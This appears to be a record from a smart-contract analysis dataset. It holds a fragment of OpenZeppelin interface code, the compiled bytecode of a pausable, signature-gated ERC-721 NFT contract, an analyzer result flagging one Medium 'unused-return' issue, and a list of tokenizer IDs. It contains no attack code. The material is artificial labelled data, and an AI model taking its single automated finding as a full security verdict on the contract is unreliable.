a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol";
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636352211e116100f9578063a22cb46511610097578063c87b56dd11610071578063c87b56dd146103cb578063e8a3d485146103de578063e985e9c5146103e6578063f2fde38b1461042f57600080fd5b8063a22cb4651461039d578063b88d4fde146103b0578063bce6d672146103c357600080fd5b80637ba0e2e7116100d35780637ba0e2e7146103575780638456cb591461036a5780638da5cb5b1461037257806395d89b411461039557600080fd5b80636352211e1461032957806370a082311461033c578063715018a61461034f57600080fd5b80632a55205a1161016657806342842e0e1161014057806342842e0e146102e557806342966c68146102f85780634f6ccce71461030b5780635c975abb1461031e57600080fd5b80632a55205a1461028b5780632f745c59146102ca5780633f4ba83a146102dd57600080fd5b8063095ea7b3116101a2578063095ea7b31461023e57806318160ddd1461025357806318e97fd11461026557806323b872dd1461027857600080fd5b806301ffc9a7146101c957806306fdde03146101f1578063081812fc14610206575b600080fd5b6101dc6101d7366004613a46565b610442565b60405190151581526020015b60405180910390f35b6101f9610453565b6040516101e89190613cf2565b610219610214366004613ab1565b6104e5565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101e8565b61025161024c366004613a1d565b6105c4565b005b600a545b6040519081526020016101e8565b610251610273366004613ac9565b610751565b610251610286366004613942565b610a4e565b61029e610299366004613b21565b610af0565b6040805173ffffffffffffffffffffffffffffffffffffffff90931683526020830191909152016101e8565b6102576102d8366004613a1d565b610be9565b610251610cb8565b6102516102f3366004613942565b610d49565b610251610306366004613ab1565b610d64565b610257610319366004613ab1565b610e05565b600d5460ff166101dc565b610219610337366004613ab1565b610eea565b61025761034a3660046138f6565b610f9c565b61025161106a565b610251610365366004613a7e565b6110fb565b6102516114f7565b600d54610100900473ffffffffffffffffffffffffffffffffffffffff16610219565b6101f9611586565b6102516103ab3660046139e3565b611595565b6102516103be36600461397d565b6115a4565b61025161164c565b6101f96103d9366004613ab1565b611700565b6101f961170b565b6101dc6103f4366004613910565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260076020908152604080832093909416825291909152205460ff1690565b61025161043d3660046138f6565b61172b565b600061044d8261185e565b92915050565b60606002805461046290613db1565b80601f016020809104026020016040519081016040528092919081815260200182805461048e90613db1565b80156104db5780601f106104b0576101008083540402835291602001916104db565b820191906000526020600020905b8154815290600101906020018083116104be57829003601f168201915b5050505050905090565b60008181526004602052604081205473ffffffffffffffffffffffffffffffffffffffff1661059b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b5060009081526006602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b60006105cf82610eea565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561068d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610592565b3373ffffffffffffffffffffffffffffffffffffffff821614806106b657506106b681336103f4565b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610592565b61074c8383611869565b505050565b600d5473ffffffffffffffffffffffffffffffffffffffff6101009091041633146107d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b600d5460ff1615610845576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610592565b6000604051806060016040528060358152602001613f43603591396040516020016108709190613c5e565b604051602081830303815290604052805190602001209050600061089384611909565b6040516020016108a39190613c5e565b6040516020818303038152906040528051906020012090506000836040516020016108ce9190613c5e565b60405160208183030381529060405280519060200120905080821415610976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f5552497320617265207468652073616d652e20506c6561736520737570706c7960448201527f2061206e657720555249000000000000000000000000000000000000000000006064820152608401610592565b818314610a05576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d657461646174612063616e206f6e6c792062652075706461746564206f6e6360448201527f652e0000000000000000000000000000000000000000000000000000000000006064820152608401610592565b610a0f8585611ac3565b847fa109ba539900bf1b633f956d63c96fc89b814c7287f7aa50a9216d0b5565720785604051610a3f9190613cf2565b60405180910390a25050505050565b610a59335b82611b93565b610ae5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610592565b61074c838383611cff565b600082815260016020908152604080832081518083019092525473ffffffffffffffffffffffffffffffffffffffff8116808352740100000000000000000000000000000000000000009091046bffffffffffffffffffffffff16928201929092528291610bab57506040805180820190915260005473ffffffffffffffffffffffffffffffffffffffff811682527401000000000000000000000000000000000000000090046bffffffffffffffffffffffff1660208201525b602081015160009061271090610bcf906bffffffffffffffffffffffff1687613d31565b610bd99190613d1d565b91519350909150505b9250929050565b6000610bf483610f9c565b8210610c82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610592565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600860209081526040808320938352929052205490565b600d5473ffffffffffffffffffffffffffffffffffffffff610100909104163314610d3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b610d47611f71565b565b61074c838383604051806020016040528060008152506115a4565b610d6d33610a53565b610df9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f766564000000000000000000000000000000006064820152608401610592565b610e0281612052565b50565b6000610e10600a5490565b8210610e9e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610592565b600a8281548110610ed8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b60008181526004602052604081205473ffffffffffffffffffffffffffffffffffffffff168061044d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610592565b600073ffffffffffffffffffffffffffffffffffffffff8216611041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610592565b5073ffffffffffffffffffffffffffffffffffffffff1660009081526005602052604090205490565b600d5473ffffffffffffffffffffffffffffffffffffffff6101009091041633146110f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b610d47600061205b565b6002600e541415611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610592565b6002600e55600d5460ff16156111da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610592565b60105460ff16806112335750600d54610100900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611299576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f4d696e74696e6720686173206e6f74206265656e206f70656e656420796574006044820152606401610592565b601154600a541061132c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f546f74616c20737570706c79206f6620746f6b656e732068617320616c72656160448201527f6479206265656e206d696e7465642e2e2e2e00000000000000000000000000006064820152608401610592565b600161133733610f9c565b106113c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f6e6c79206f6e6520746f6b656e20697320616c6c6f7765642070657220616460448201527f64726573732100000000000000000000000000000000000000000000000000006064820152608401610592565b600d54610100900473ffffffffffffffffffffffffffffffffffffffff166113eb826120d9565b73ffffffffffffffffffffffffffffffffffffffff1614611468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f5369676e617475726520646f6573206e6f74206d6174636800000000000000006044820152606401610592565b6000611473600f5490565b9050611483600f80546001019055565b61148d338261215d565b6114af81604051806060016040528060358152602001613f4360359139611ac3565b6114b833610f9c565b6001146114ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b50506001600e55565b600d5473ffffffffffffffffffffffffffffffffffffffff61010090910416331461157e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b610d47612177565b60606003805461046290613db1565b6115a0338383612237565b5050565b6115ae3383611b93565b61163a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610592565b61164684848484612365565b50505050565b600d5473ffffffffffffffffffffffffffffffffffffffff6101009091041633146116d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b601080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b606061044d82611909565b6060604051806060016040528060358152602001613f0e60359139905090565b600d5473ffffffffffffffffffffffffffffffffffffffff6101009091041633146117b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610592565b73ffffffffffffffffffffffffffffffffffffffff8116611855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610592565b610e028161205b565b600061044d82612408565b600081815260066020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff841690811790915581906118c382610eea565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60008181526004602052604090205460609073ffffffffffffffffffffffffffffffffffffffff166119bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f45524337323155524953746f726167653a2055524920717565727920666f722060448201527f6e6f6e6578697374656e7420746f6b656e0000000000000000000000000000006064820152608401610592565b6000828152600c6020526040812080546119d690613db1565b80601f0160208091040260200160405190810160405280929190818152602001828054611a0290613db1565b8015611a4f5780601f10611a2457610100808354040283529160200191611a4f565b820191906000526020600020905b815481529060010190602001808311611a3257829003601f168201915b505050505090506000611a6d60408051602081019091526000815290565b9050805160001415611a80575092915050565b815115611ab2578082604051602001611a9a929190613c7a565b60405160208183030381529060405292505050919050565b611abb8461245e565b949350505050565b60008281526004602052604090205473ffffffffffffffffffffffffffffffffffffffff16611b74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60448201527f6578697374656e7420746f6b656e0000000000000000000000000000000000006064820152608401610592565b6000828152600c60209081526040909120825161074c9284019061374b565b60008181526004602052604081205473ffffffffffffffffffffffffffffffffffffffff16611c44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610592565b6000611c4f83610eea565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611cbe57508373ffffffffffffffffffffffffffffffffffffffff16611ca6846104e5565b73ffffffffffffffffffffffffffffffffffffffff16145b80611abb575073ffffffffffffffffffffffffffffffffffffffff80821660009081526007602090815260408083209388168352929052205460ff16611abb565b8273ffffffffffffffffffffffffffffffffffffffff16611d1f82610eea565b73ffffffffffffffffffffffffffffffffffffffff1614611dc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201527f6f776e65720000000000000000000000000000000000000000000000000000006064820152608401610592565b73ffffffffffffffffffffffffffffffffffffffff8216611e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610592565b611e6f83838361257a565b611e7a600082611869565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600560205260408120805460019290611eb0908490613d6e565b909155505073ffffffffffffffffffffffffffffffffffffffff82166000908152600560205260408120805460019290611eeb908490613d05565b909155505060008181526004602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff86811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600d5460ff16611fdd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610592565b600d80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1565b610e02816126a6565b600d805473ffffffffffffffffffffffffffffffffffffffff8381166101008181027fffffffffffffffffffffff0000000000000000000000000000000000000000ff85161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60008060126040516120eb9190613b8c565b6040518091039020905061215683612150836040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b906126c0565b9392505050565b6115a08282604051806020016040528060008152506126e4565b600d5460ff16156121e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610592565b600d80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586120283390565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610592565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526007602090815260408083209487168084529482529182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b612370848484611cff565b61237c84848484612787565b611646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610592565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d6300000000000000000000000000000000000000000000000000000000148061044d575061044d82612986565b60008181526004602052604090205460609073ffffffffffffffffffffffffffffffffffffffff16612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610592565b600061252960408051602081019091526000815290565b905060008151116125495760405180602001604052806000815250612156565b8061255384612a28565b604051602001612564929190613c7a565b6040516020818303038152906040529392505050565b600d5460ff16156125e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610592565b73ffffffffffffffffffffffffffffffffffffffff82161561269b57600161260e83610f9c565b1061269b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f6e6c79206f6e6520746f6b656e20697320616c6c6f7765642070657220616460448201527f64726573732100000000000000000000000000000000000000000000000000006064820152608401610592565b61074c838383612ba8565b6126af81612cae565b600090815260016020526040812055565b60008060006126cf8585612cee565b915091506126dc81612d5b565b509392505050565b6126ee8383613077565b6126fb6000848484612787565b61074c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610592565b600073ffffffffffffffffffffffffffffffffffffffff84163b1561297b576040517f150b7a0200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063150b7a02906127fe903390899088908890600401613ca9565b602060405180830381600087803b15801561281857600080fd5b505af1925050508015612866575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261286391810190613a62565b60015b612930573d808015612894576040519150601f19603f3d011682016040523d82523d6000602084013e612899565b606091505b508051612928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610592565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050611abb565b506001949350505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd000000000000000000000000000000000000000000000000000000001480612a1957507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061044d575061044d82613245565b606081612a6857505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612a925780612a7c81613e05565b9150612a8b9050600a83613d1d565b9150612a6c565b60008167ffffffffffffffff811115612ad4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612afe576020820181803683370190505b5090505b8415611abb57612b13600183613d6e565b9150612b20600a86613e3e565b612b2b906030613d05565b60f81b818381518110612b67577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612ba1600a86613d1d565b9450612b02565b73ffffffffffffffffffffffffffffffffffffffff8316612c1057612c0b81600a80546000838152600b60205260408120829055600182018355919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80155565b612c4d565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612c4d57612c4d83826132dc565b73ffffffffffffffffffffffffffffffffffffffff8216612c715761074c81613393565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461074c5761074c82826134b7565b612cb781613508565b6000818152600c602052604090208054612cd090613db1565b159050610e02576000818152600c60205260408120610e02916137cf565b600080825160411415612d255760208301516040840151606085015160001a612d19878285856135e1565b94509450505050610be2565b825160401415612d4f5760208301516040840151612d448683836136f9565b935093505050610be2565b50600090506002610be2565b6000816004811115612d96577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415612d9f5750565b6001816004811115612dda577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415612e42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610592565b6002816004811115612e7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415612ee5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610592565b6003816004811115612f20577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415612fae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610592565b6004816004811115612fe9577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415610e02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610592565b73ffffffffffffffffffffffffffffffffffffffff82166130f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610592565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff1615613180576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610592565b61318c6000838361257a565b73ffffffffffffffffffffffffffffffffffffffff821660009081526005602052604081208054600192906131c2908490613d05565b909155505060008181526004602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f2a55205a00000000000000000000000000000000000000000000000000000000148061044d57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff0000000000000000000000000000000000000000000000000000000083161461044d565b600060016132e984610f9c565b6132f39190613d6e565b6000838152600960205260409020549091508082146133535773ffffffffffffffffffffffffffffffffffffffff841660009081526008602090815260408083208584528252808320548484528184208190558352600990915290208190555b50600091825260096020908152604080842084905573ffffffffffffffffffffffffffffffffffffffff9094168352600881528383209183525290812055565b600a546000906133a590600190613d6e565b6000838152600b6020526040812054600a80549394509092849081106133f4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080600a838154811061343c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602080832090910192909255828152600b9091526040808220849055858252812055600a80548061349b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006134c283610f9c565b73ffffffffffffffffffffffffffffffffffffffff9093166000908152600860209081526040808320868452825280832085905593825260099052919091209190915550565b600061351382610eea565b90506135218160008461257a565b61352c600083611869565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600560205260408120805460019290613562908490613d6e565b909155505060008281526004602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555183919073ffffffffffffffffffffffffffffffffffffffff8416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561361857506000905060036136f0565b8460ff16601b1415801561363057508460ff16601c14155b1561364157506000905060046136f0565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015613695573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166136e9576000600192509250506136f0565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83168161372f60ff86901c601b613d05565b905061373d878288856135e1565b935093505050935093915050565b82805461375790613db1565b90600052602060002090601f01602090048101928261377957600085556137bf565b82601f1061379257805160ff19168380011785556137bf565b828001600101855582156137bf579182015b828111156137bf5782518255916020019190600101906137a4565b506137cb929150613805565b5090565b5080546137db90613db1565b6000825580601f106137eb575050565b601f016020900490600052602060002090810190610e0291905b5b808211156137cb5760008155600101613806565b600067ffffffffffffffff8084111561383557613835613eb0565b604051601f85017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190828211818310171561387b5761387b613eb0565b8160405280935085815286868601111561389457600080fd5b858560208301376000602087830101525050509392505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146138d257600080fd5b919050565b600082601f8301126138e7578081fd5b6121568383356020850161381a565b600060208284031215613907578081fd5b612156826138ae565b60008060408385031215613922578081fd5b61392b836138ae565b9150613939602084016138ae565b90509250929050565b600080600060608486031215613956578081fd5b61395f846138ae565b925061396d602085016138ae565b9150604084013590509250925092565b60008060008060808587031215613992578081fd5b61399b856138ae565b93506139a9602086016138ae565b925060408501359150606085013567ffffffffffffffff8111156139cb578182fd5b6139d7878288016138d7565b91505092959194509250565b600080604083850312156139f5578182fd5b6139fe836138ae565b915060208301358015158114613a12578182fd5b809150509250929050565b60008060408385031215613a2f578182fd5b613a38836138ae565b946020939093013593505050565b600060208284031215613a57578081fd5b813561215681613edf565b600060208284031215613a73578081fd5b815161215681613edf565b600060208284031215613a8f578081fd5b813567ffffffffffffffff811115613aa5578182fd5b611abb848285016138d7565b600060208284031215613ac2578081fd5b5035919050565b60008060408385031215613adb578182fd5b82359150602083013567ffffffffffffffff811115613af8578182fd5b8301601f81018513613b08578182fd5b613b178582356020840161381a565b9150509250929050565b60008060408385031215613b33578182fd5b50508035926020909101359150565b60008151808452613b5a816020860160208601613d85565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b600080835482600182811c915080831680613ba857607f831692505b6020808410821415613be1577f4e487b710000000000000000000000000000000000000000000000000000000087526022600452602487fd5b818015613bf55760018114613c2457613c50565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00861689528489019650613c50565b60008a815260209020885b86811015613c485781548b820152908501908301613c2f565b505084890196505b509498975050505050505050565b60008251613c70818460208701613d85565b9190910192915050565b60008351613c8c818460208801613d85565b835190830190613ca0818360208801613d85565b01949350505050565b600073ffffffffffffffffffffffffffffffffffffffff808716835280861660208401525083604083015260806060830152613ce86080830184613b42565b9695505050505050565b6020815260006121566020830184613b42565b60008219821115613d1857613d18613e52565b500190565b600082613d2c57613d2c613e81565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d6957613d69613e52565b500290565b600082821015613d8057613d80613e52565b500390565b60005b83811015613da0578181015183820152602001613d88565b838111156116465750506000910152565b600181811c90821680613dc557607f821691505b60208210811415613dff577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e3757613e37613e52565b5060010190565b600082613e4d57613e4d613e81565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7fffffffff0000000000000000000000000000000000000000000000000000000081168114610e0257600080fdfe697066733a2f2f516d646648584b5333736165514d6d573947613443626b76534d683645556f4e3732706479704256646d71525258697066733a2f2f516d584b754c5633444c7855673977727731316b6e79464b394b476e394e6878754645544a51774667654e514762a2646970667358221220b45dcf8c41e1a6c3124145afe345ec38c6bd5cd70fa16a723267f1250c3e73d164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2063, 2487, 2094, 2692, 2683, 16576, 2050, 2581, 3401, 2683, 28756, 23352, 2278, 2581, 2575, 2497, 2850, 2050, 2581, 23352, 7875, 15136, 2620, 2581, 2683, 2549, 2278, 23833, 2629, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 100, 100, 1013, 1013, 1013, 1013, 8275, 5344, 2005, 5096, 1013, 1013, 5655, 11586, 2226, 1006, 1030, 28837, 9739, 3207, 2595, 1007, 1013, 1013, 16798, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 102 ]
